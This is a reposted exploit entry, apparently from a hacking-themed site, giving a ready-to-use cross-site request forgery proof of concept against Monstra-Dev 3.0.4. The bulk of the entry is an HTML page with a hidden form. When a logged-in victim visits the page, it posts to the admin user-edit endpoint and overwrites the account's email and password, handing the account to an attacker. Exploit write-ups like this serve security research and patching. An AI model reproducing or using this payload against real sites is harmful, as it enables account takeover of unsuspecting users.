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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Monstra-Dev 3.0.4 - Cross-Site Request Forgery(Account Hijacking)
# Date: 2018-08-04
# Exploit Author: Nainsi Gupta
# Vendor Homepage: http://monstra.org/
# Product Name: Monstra-dev
# Version: 3.0.4
# Tested on: Windows 10 (Firefox/Chrome)
# CVE : N/A

# 1. Description
# CSRF vulnerability in admin/user/edit in Monstra-dev 3.0.4 allows an attacker
# to take over a user account by modifying user's data such as email and password
 
# 2. Exploit and Proof of Concept
# To exploit this vulnerability, victim need to be logged in at target site namely
# victim.com and visit crafted site made by attacker namely attacker.com. 
# Then an authenticated POST request will be generated from victim browser and it will
# be submit to victim.com to modify user's data to attacker desired value.

#POC:CSRF

<html>
  <!-- CSRF PoC -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/monstra-dev/users/2/edit" method="POST">
      <input type="hidden" name="csrf" value="7e172c2a395495f3e4c05912cb9f3f7f0ed8344e" />
      <input type="hidden" name="user&#95;id" value="2" />
      <input type="hidden" name="login" value="guptanainisi95" />
      <input type="hidden" name="firstname" value="sd" />
      <input type="hidden" name="lastname" value="jkh" />
      <input type="hidden" name="email" value="guptanainsi97&#64;gmail&#46;com" />
      <input type="hidden" name="twitter" value="" />
      <input type="hidden" name="skype" value="" />
      <input type="hidden" name="about&#95;me" value="ss" />
      <input type="hidden" name="new&#95;password" value="qaz" />
      <input type="hidden" name="edit&#95;profile" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>